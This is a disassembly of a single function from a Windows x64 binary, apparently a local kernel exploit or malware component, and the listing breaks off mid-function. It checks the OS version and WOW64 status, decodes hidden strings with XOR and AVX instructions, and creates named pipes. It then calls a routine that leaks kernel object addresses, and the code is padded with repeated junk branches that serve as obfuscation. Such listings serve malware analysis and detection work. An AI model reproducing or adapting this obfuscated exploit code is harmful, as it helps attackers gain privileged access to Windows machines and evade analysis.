Function at 0x14000faf5
Capabilities:
Create pipe
Get os information via kuser_shared_data
Terminate process

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xd90
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd10]
sub rax, 0xd50
add rax, 0x1f
shr rax, 5
shl rax, 5
mov rbx, rax
call sym.__main
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000fb70
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xd08], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xd08]
mov qword [str.BABUBE], rax
jmp 0x14000fbbb
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x510]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x510]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x510]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov eax, 0x7ffe0260
mov eax, dword [rax]
mov dword [rbp + 0xd04], eax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000fc1a
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xcf8], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xcf8]
mov qword [str.BABUBE], rax
jmp 0x14000fc65
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x530]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x530]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x530]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov eax, 0x7ffe0270
mov eax, dword [rax]
mov dword [rbp + 0xcf4], eax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000fcc4
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xce8], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xce8]
mov qword [str.BABUBE], rax
jmp 0x14000fd0f
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x550]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov eax, 0x7ffe026c
mov eax, dword [rax]
mov dword [rbp + 0xce4], eax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000fd6e
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xcd8], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xcd8]
mov qword [str.BABUBE], rax
jmp 0x14000fdb9
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x570]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x570]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x570]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xcd4], eax
mov edx, 0x780000
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp + 0xcc8], rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000fe34
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xcc0], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xcc0]
mov qword [str.BABUBE], rax
jmp 0x14000fe7f
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
lea rdx, [rbp + 0x430]
mov eax, 0
mov ecx, 0x1a
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x42c]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_IsWow64Process]
call rax
mov dword [rbp + 0xcbc], eax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14000ff0d
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xcb0], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xcb0]
mov qword [str.BABUBE], rax
jmp 0x14000ff58
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
cmp dword [rbp + 0xce4], 0xa
jne 0x14000ff97
cmp dword [rbp + 0xcf4], 0
jne 0x14000ff97
cmp dword [rbp + 0xd04], 0x3ad6
jbe 0x14000ff97
cmp dword [rbp + 0xcbc], 0
je 0x14000ff97
mov eax, dword [rbp + 0x42c]
test eax, eax
je 0x1400102a8
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0xba8], rax
mov rax, qword [rbp + 0xba8]
mov qword [rbp + 0xba8], rax
mov rax, qword [rbp + 0xba8]
mov qword [rbx], rax
movabs rax, 0x881cd75f63cd5e65
mov qword [rbp + 0xba0], rax
mov rax, qword [rbp + 0xba0]
mov qword [rbp + 0xba0], rax
mov rax, qword [rbp + 0xba0]
mov qword [rbx + 8], rax
movabs rax, 0x85ad964f93524b81
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov qword [rbx + 0x10], rax
movabs rax, 0xeca1156798057cad
mov qword [rbp + 0xb90], rax
mov rax, qword [rbp + 0xb90]
mov qword [rbp + 0xb90], rax
mov rax, qword [rbp + 0xb90]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f65257815b
mov qword [rbp + 0xb88], rax
mov rax, qword [rbp + 0xb88]
mov qword [rbp + 0xb88], rax
mov rax, qword [rbp + 0xb88]
mov qword [rbx + 0x20], rax
movabs rdi, 0x9a95cbe389a78694
mov qword [rbp + 0xb80], rdi
mov rax, qword [rbp + 0xb80]
mov qword [rbp + 0xb80], rax
mov rax, qword [rbp + 0xb80]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0xc48], rax
mov rax, qword [rbp + 0xc48]
mov qword [rbp + 0xc48], rax
mov rax, qword [rbp + 0xc48]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0xc40], rax
mov rax, qword [rbp + 0xc40]
mov qword [rbp + 0xc40], rax
mov rax, qword [rbp + 0xc40]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0xc38], rax
mov rax, qword [rbp + 0xc38]
mov qword [rbp + 0xc38], rax
mov rax, qword [rbp + 0xc38]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0xc30]
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0xc30]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0xc28], rax
mov rax, qword [rbp + 0xc28]
mov qword [rbp + 0xc28], rax
mov rax, qword [rbp + 0xc28]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0xc20], rdi
mov rax, qword [rbp + 0xc20]
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc20]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0xc10], rax
mov rax, qword [rbp + 0xc10]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x420], ymm0
vmovdqa ymmword [rbx + 0x400], ymm1
vmovdqa ymm1, ymmword [rbx + 0x420]
vmovdqa ymm0, ymmword [rbx + 0x400]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0xc08], rax
vmovdqa ymmword [rbx + 0x3e0], ymm0
mov rax, qword [rbp + 0xc08]
vmovdqa ymm0, ymmword [rbx + 0x3e0]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0xc00], rax
mov rax, qword [rbp + 0xc00]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xbf8], rax
mov rax, qword [rbp + 0xbf8]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xbe0], xmm1
vmovdqa xmmword [rbp + 0xbd0], xmm0
vmovdqa xmm1, xmmword [rbp + 0xbe0]
vmovdqa xmm0, xmmword [rbp + 0xbd0]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xbc8], rax
vmovdqa xmmword [rbp + 0xbb0], xmm0
mov rax, qword [rbp + 0xbc8]
vmovdqa xmm0, xmmword [rbp + 0xbb0]
vmovdqa xmmword [rax], xmm0
nop
mov rax, rbx
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, str..pipeLOCALim
mov qword [rbp + 0xca8], rax
lea rax, str..pipeLOCAL_rw
mov qword [rbp + 0xca0], rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x14001030c
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc98], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc98]
mov qword [str.BABUBE], rax
jmp 0x140010357
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x5d0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x5d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x5d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [rbp + 0xca8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0xff
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xffffffff
mov r9d, 0xff
mov r8d, 0
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
call rax
mov qword [rbp + 0xc90], rax
mov rax, qword [rbp + 0xc90]
test eax, eax
jns 0x1400106d8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0xad8], rax
mov rax, qword [rbp + 0xad8]
mov qword [rbp + 0xad8], rax
mov rax, qword [rbp + 0xad8]
mov qword [rbx], rax
movabs rax, 0xda17821573da5f53
mov qword [rbp + 0xad0], rax
mov rax, qword [rbp + 0xad0]
mov qword [rbp + 0xad0], rax
mov rax, qword [rbp + 0xad0]
mov qword [rbx + 8], rax
movabs rax, 0x86ad966cd2535cb6
mov qword [rbp + 0xac8], rax
mov rax, qword [rbp + 0xac8]
mov qword [rbp + 0xac8], rax
mov rax, qword [rbp + 0xac8]
mov qword [rbx + 0x10], rax
movabs rax, 0xe9970575d12663e2
mov qword [rbp + 0xac0], rax
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0xac0], rax
mov rax, qword [rbp + 0xac0]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f652578152
mov qword [rbp + 0xab8], rax
mov rax, qword [rbp + 0xab8]
mov qword [rbp + 0xab8], rax
mov rax, qword [rbp + 0xab8]
mov qword [rbx + 0x20], rax
movabs rdi, 0x9a95cbe389a78694
mov qword [rbp + 0xab0], rdi
mov rax, qword [rbp + 0xab0]
mov qword [rbp + 0xab0], rax
mov rax, qword [rbp + 0xab0]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0xb78]
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0xb78]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0xb70], rax
mov rax, qword [rbp + 0xb70]
mov qword [rbp + 0xb70], rax
mov rax, qword [rbp + 0xb70]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0xb68], rax
mov rax, qword [rbp + 0xb68]
mov qword [rbp + 0xb68], rax
mov rax, qword [rbp + 0xb68]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0xb60], rax
mov rax, qword [rbp + 0xb60]
mov qword [rbp + 0xb60], rax
mov rax, qword [rbp + 0xb60]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0xb58], rax
mov rax, qword [rbp + 0xb58]
mov qword [rbp + 0xb58], rax
mov rax, qword [rbp + 0xb58]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0xb50], rdi
mov rax, qword [rbp + 0xb50]
mov qword [rbp + 0xb50], rax
mov rax, qword [rbp + 0xb50]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0xb48], rax
mov rax, qword [rbp + 0xb48]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0xb40], rax
mov rax, qword [rbp + 0xb40]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x3c0], ymm0
vmovdqa ymmword [rbx + 0x3a0], ymm1
vmovdqa ymm1, ymmword [rbx + 0x3c0]
vmovdqa ymm0, ymmword [rbx + 0x3a0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0xb38], rax
vmovdqa ymmword [rbx + 0x380], ymm0
mov rax, qword [rbp + 0xb38]
vmovdqa ymm0, ymmword [rbx + 0x380]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xb28], rax
mov rax, qword [rbp + 0xb28]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xb10], xmm1
vmovdqa xmmword [rbp + 0xb00], xmm0
vmovdqa xmm1, xmmword [rbp + 0xb10]
vmovdqa xmm0, xmmword [rbp + 0xb00]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xaf8], rax
vmovdqa xmmword [rbp + 0xae0], xmm0
mov rax, qword [rbp + 0xaf8]
vmovdqa xmm0, xmmword [rbp + 0xae0]
vmovdqa xmmword [rax], xmm0
nop
mov rax, rbx
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0xc90]
mov rcx, rax
call sym.GetKernelAddr_void_
mov rdx, rax
movabs rax, 0x35d9db41f5bb85f0
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0xa08]
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0xa08]
mov qword [rbx], rax
movabs rax, 0x9f03ce5f36da5544
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov qword [rbx + 8], rax
movabs rax, 0xc4bbcf38897b67d5
mov qword [rbp + 0x9f8], rax
mov rax, qword [rbp + 0x9f8]
mov qword [rbp + 0x9f8], rax
mov rax, qword [rbp + 0x9f8]
mov qword [rbx + 0x10], rax
movabs rax, 0xa5b05025865b2bba
mov qword [rbp + 0x9f0], rax
mov rax, qword [rbp + 0x9f0]
mov qword [rbp + 0x9f0], rax
mov rax, qword [rbp + 0x9f0]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f65825c353
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbx + 0x20], rax
movabs rdi, 0x9a95cbe389a78694
mov qword [rbp + 0x9e0], rdi
mov rax, qword [rbp + 0x9e0]
mov qword [rbp + 0x9e0], rax
mov rax, qword [rbp + 0x9e0]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0xaa0], rax
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xaa0], rax
mov rax, qword [rbp + 0xaa0]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbp + 0xa98], rax
mov rax, qword [rbp + 0xa98]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0xa90], rax
mov rax, qword [rbp + 0xa90]
mov qword [rbp + 0xa90], rax
mov rax, qword [rbp + 0xa90]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0xa88], rax
mov rax, qword [rbp + 0xa88]
mov qword [rbp + 0xa88], rax
mov rax, qword [rbp + 0xa88]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0xa80], rdi
mov rax, qword [rbp + 0xa80]
mov qword [rbp + 0xa80], rax
mov rax, qword [rbp + 0xa80]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0xa78], rax
mov rax, qword [rbp + 0xa78]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0xa70]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x360], ymm0
vmovdqa ymmword [rbx + 0x340], ymm1
vmovdqa ymm1, ymmword [rbx + 0x360]
vmovdqa ymm0, ymmword [rbx + 0x340]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0xa68], rax
vmovdqa ymmword [rbx + 0x320], ymm0
mov rax, qword [rbp + 0xa68]
vmovdqa ymm0, ymmword [rbx + 0x320]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0xa60], rax
mov rax, qword [rbp + 0xa60]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xa58], rax
mov rax, qword [rbp + 0xa58]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0xa40], xmm1
vmovdqa xmmword [rbp + 0xa30], xmm0
vmovdqa xmm1, xmmword [rbp + 0xa40]
vmovdqa xmm0, xmmword [rbp + 0xa30]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0xa28], rax
vmovdqa xmmword [rbp + 0xa10], xmm0
mov rax, qword [rbp + 0xa28]
vmovdqa xmm0, xmmword [rbp + 0xa10]
vmovdqa xmmword [rax], xmm0
nop
mov rcx, rbx
mov rax, qword [rbp + 0xc90]
mov r8, rdx
mov rdx, rax
call sym.printf_char_const__::_
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140010a3f
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc88], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc88]
mov qword [str.BABUBE], rax
jmp 0x140010a8a
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x5f0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x5f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [rbp + 0xca0]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0xff
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xffffffff
mov r9d, 0xff
mov r8d, 0
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
call rax
mov qword [rbp + 0xc80], rax
mov rax, qword [rbp + 0xc80]
test eax, eax
jns 0x140010ce0
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbx + 0x40], rax
movabs rax, 0x9d1dce5b77db4273
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbx + 0x48], rax
movabs rax, 0x96b1a07dc35f5ed5
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b87601ec
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbx + 0x58], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x9d8], rax
mov rax, qword [rbp + 0x9d8]
mov qword [rbp + 0x9d8], rax
mov rax, qword [rbp + 0x9d8]
mov qword [rbx], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
mov qword [rbx + 8], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x9c8], rax
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x9c8], rax
mov rax, qword [rbp + 0x9c8]
mov qword [rbx + 0x10], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x9c0], rax
mov rax, qword [rbp + 0x9c0]
mov qword [rbp + 0x9c0], rax
mov rax, qword [rbp + 0x9c0]
mov qword [rbx + 0x18], rax
mov qword [rbp + 0x9b8], rbx
mov rax, qword [rbp + 0x9b8]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x300], ymm0
vmovdqa ymmword [rbx + 0x2e0], ymm1
vmovdqa ymm1, ymmword [rbx + 0x300]
vmovdqa ymm0, ymmword [rbx + 0x2e0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
mov qword [rbp + 0x9a8], rax
vmovdqa ymmword [rbx + 0x2c0], ymm0
mov rax, qword [rbp + 0x9a8]
vmovdqa ymm0, ymmword [rbx + 0x2c0]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0xc80]
mov rcx, rax
call sym.GetKernelAddr_void_
mov rdx, rax
movabs rax, 0x35d9db41f5bb85f0
mov qword [rbp + 0x8e8], rax
mov rax, qword [rbp + 0x8e8]
mov qword [rbp + 0x8e8], rax
mov rax, qword [rbp + 0x8e8]
mov qword [rbx], rax
movabs rax, 0x9f03ce5f36da5544
mov qword [rbp + 0x8e0], rax
mov rax, qword [rbp + 0x8e0]
mov qword [rbp + 0x8e0], rax
mov rax, qword [rbp + 0x8e0]
mov qword [rbx + 8], rax
movabs rax, 0xc4bbcf3889617cd5
mov qword [rbp + 0x8d8], rax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x8d8], rax
mov rax, qword [rbp + 0x8d8]
mov qword [rbx + 0x10], rax
movabs rax, 0xa5b05025865b2bba
mov qword [rbp + 0x8d0], rax
mov rax, qword [rbp + 0x8d0]
mov qword [rbp + 0x8d0], rax
mov rax, qword [rbp + 0x8d0]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f65825c353
mov qword [rbp + 0x8c8], rax
mov rax, qword [rbp + 0x8c8]
mov qword [rbp + 0x8c8], rax
mov rax, qword [rbp + 0x8c8]
mov qword [rbx + 0x20], rax
movabs rdi, 0x9a95cbe389a78694
mov qword [rbp + 0x8c0], rdi
mov rax, qword [rbp + 0x8c0]
mov qword [rbp + 0x8c0], rax
mov rax, qword [rbp + 0x8c0]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x960]
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x960]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0x958], rdi
mov rax, qword [rbp + 0x958]
mov qword [rbp + 0x958], rax
mov rax, qword [rbp + 0x958]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0x950], rax
mov rax, qword [rbp + 0x950]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x2a0], ymm0
vmovdqa ymmword [rbx + 0x280], ymm1
vmovdqa ymm1, ymmword [rbx + 0x2a0]
vmovdqa ymm0, ymmword [rbx + 0x280]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
